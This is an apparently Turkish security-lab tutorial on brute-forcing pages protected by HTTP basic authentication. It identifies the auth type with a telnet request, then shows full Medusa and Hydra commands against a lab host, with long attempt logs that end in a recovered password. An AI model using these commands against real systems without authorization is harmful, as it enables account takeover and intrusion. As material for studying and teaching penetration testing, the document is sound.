Parola, günümüz güvenlik dünyasının en zayıf halkalarından biridir. Güvenliğine ciddi önem verilmiş sistemler birden fazla yetkilendirme sistemi kullanarak bu zaafiyeti bir oranda kapatmaya çalışırlar.
Fakat yeteri önem verilmemiş sistemlerde basit parolaların kullanımını günümüzde sıkça görüyoruz. Bu kısa yazı basic authentication kullanılarak meraklı gözlerden uzak tutulmaya çalışılan sayfalara yönelik bruteforce denemelerinin nasıl gerçekleştirileceğini göstermektedir.
Hedef sistemin basic-auth kullandığı nasıl anlaşılır?
Hedef sistemde basic-auth ile korunduğu düşünülen sayfa istenerek dönen cevaptaki “WWW-Authenticate” satırı kontrol edilirse hangi authentication tipinin kullanıldığı anlaşılır.
root@bga-seclabs:~# telnet www.bga.com.tr 80
Trying 91.93.119.87…
Connected to www.bga.com.tr.
Escape character is ‘^]’.
GET /wp-login.php HTTP/1.1
Host:www.bga.com.tr
HTTP/1.1 401 Authorization Required
Date: Sat, 19 Feb 2011 19:40:49 GMT
Server: Apache
WWW-Authenticate: Basic realm=”Yaramazlik yasak!”
Content-Length: 401
Content-Type: text/html; charset=iso-8859-1
401 Authorization Required
Bu aşamadan sonra medusa, hydra veya Ncrack yazılımları kullanılarak bruteforce denemeleri gerçekleştirilebilir.
Bruteforce Çalışmalarında Medusa Kullanımı
#medusa -M http -m USER-AGENT:”Firefox-Explorer-99.1″ -m DIR:/gizli-alan -m AUTH:BASIC -h 10.10.10.1 -u bga -P bga-wordlist22
…
…
…
ACCOUNT CHECK: [http] Host: 10.10.10.1 (1 of 1, 0 complete) User: bga (1 of 1, 0 complete) Password: zzzzzz (4406 of 4417 complete)
ACCOUNT CHECK: [http] Host: 10.10.10.1 (1 of 1, 0 complete) User: bga (1 of 1, 0 complete) Password: zzzzzzy (4407 of 4417 complete)
ACCOUNT CHECK: [http] Host: 10.10.10.1 (1 of 1, 0 complete) User: bga (1 of 1, 0 complete) Password: zzzzzzz (4408 of 4417 complete)
ACCOUNT CHECK: [http] Host: 10.10.10.1 (1 of 1, 0 complete) User: bga (1 of 1, 0 complete) Password: zzzzzzz (4409 of 4417 complete)
ACCOUNT CHECK: [http] Host: 10.10.10.1 (1 of 1, 0 complete) User: bga (1 of 1, 0 complete) Password: zzzzzzzthis (4410 of 4417 complete)
ACCOUNT CHECK: [http] Host: 10.10.10.1 (1 of 1, 0 complete) User: bga (1 of 1, 0 complete) Password: zzzzzzzz (4411 of 4417 complete)
ACCOUNT CHECK: [http] Host: 10.10.10.1 (1 of 1, 0 complete) User: bga (1 of 1, 0 complete) Password: zzzzzzzz (4412 of 4417 complete)
ACCOUNT CHECK: [http] Host: 10.10.10.1 (1 of 1, 0 complete) User: bga (1 of 1, 0 complete) Password: zzzzzzzzzz (4413 of 4417 complete)
ACCOUNT CHECK: [http] Host: 10.10.10.1 (1 of 1, 0 complete) User: bga (1 of 1, 0 complete) Password: zzzzzzzzzzzzz (4414 of 4417 complete)
ACCOUNT CHECK: [http] Host: 10.10.10.1 (1 of 1, 0 complete) User: bga (1 of 1, 0 complete) Password: zzzzzzzzzzzzzzzzzz (4415 of 4417 complete)
ACCOUNT CHECK: [http] Host: 10.10.10.1 (1 of 1, 0 complete) User: bga (1 of 1, 0 complete) Password: {log} (4416 of 4417 complete)
ACCOUNT CHECK: [http] Host: 10.10.10.1 (1 of 1, 0 complete) User: bga (1 of 1, 0 complete) Password: 0u7b00k (4417 of 4417 complete)
ACCOUNT FOUND: [http] Host: 10.10.10.1 User: bga Password: 0u7b00k [SUCCESS]
Bruteforce Çalışmalarında Hydra Kullanımı
# hydra -l bga -P bga-wordlist22 -f 10.10.10.1 http-get /test -vV
Hydra v5.4 (c) 2006 by van Hauser / THC – use allowed only for legal purposes.
Hydra ) starting at 2010-11-28 11:16:43
[DATA] 16 tasks, 1 servers, 4417 login tries (l:1/p:4417), ~276 tries per task
[DATA] attacking service http-get on port 80
…
…
[ATTEMPT] target 10.10.10.1 – login “bga” – pass “01214nd0” – child 26 – 675 of 4417
[ATTEMPT] target 10.10.10.1 – login “bga” – pass “0123” – child 27 – 676 of 4417
[ATTEMPT] target 10.10.10.1 – login “bga” – pass “012301279x” – child 28 – 677 of 4417
[ATTEMPT] target 10.10.10.1 – login “bga” – pass “012307120chi1u5” – child 29 – 678 of 4417
[ATTEMPT] target 10.10.10.1 – login “bga” – pass “0123071246in3” – child 0 – 679 of 4417
[ATTEMPT] target 10.10.10.1 – login “bga” – pass “0123071246u5” – child 1 – 680 of 4417
[ATTEMPT] target 10.10.10.1 – login “bga” – pass “01230c41294” – child 2 – 681 of 4417
[ATTEMPT] target 10.10.10.1 – login “bga” – pass “01230d0n” – child 3 – 682 of 4417
[ATTEMPT] target 10.10.10.1 – login “bga” – pass “01230d0n7” – child 4 – 683 of 4417
[ATTEMPT] target 10.10.10.1 – login “bga” – pass “01230d0n70id” – child 5 – 684 of 4417
[ATTEMPT] target 10.10.10.1 – login “bga” – pass “01230d0n7id43” – child 6 – 685 of 4417
[ATTEMPT] target 10.10.10.1 – login “bga” – pass “01230d0n7in3” – child 7 – 686 of 4417
[ATTEMPT] target 10.10.10.1 – login “bga” – pass “01230d0x4” – child 8 – 687 of 4417
[ATTEMPT] target 10.10.10.1 – login “bga” – pass “01230ph45i5” – child 9 – 688 of 4417
[ATTEMPT] target 10.10.10.1 – login “bga” – pass “01230ph45in3” – child 10 – 689 of 4417
[ATTEMPT] target 10.10.10.1 – login “bga” – pass “01230ph45in43” – child 11 – 690 of 4417
[STATUS] attack finished for 10.10.10.1 (waiting for childs to finish)
[80][www] host: 10.10.10.1 login: bga password: 0u7b00k
[ATTEMPT] target 10.10.10.1 – login “bga” – pass “0u7b00k” – child 3 – 4417 of 4417
Hydra ) finished at 2010-11-28 11:19:33
Her iki araç da hemen hemen aynı hızlarda parola deneme işlemi yapabiliyor. Her iki aracın da performansı sunucu kapasitesi, yapılandırımı ve bant genişliğiyle orantılıdır.
Detay bilgi için “Apache Htaccess Korumalı Sayfalara Yönelik Güvenlik Testleri” konulu belge incelenebilir.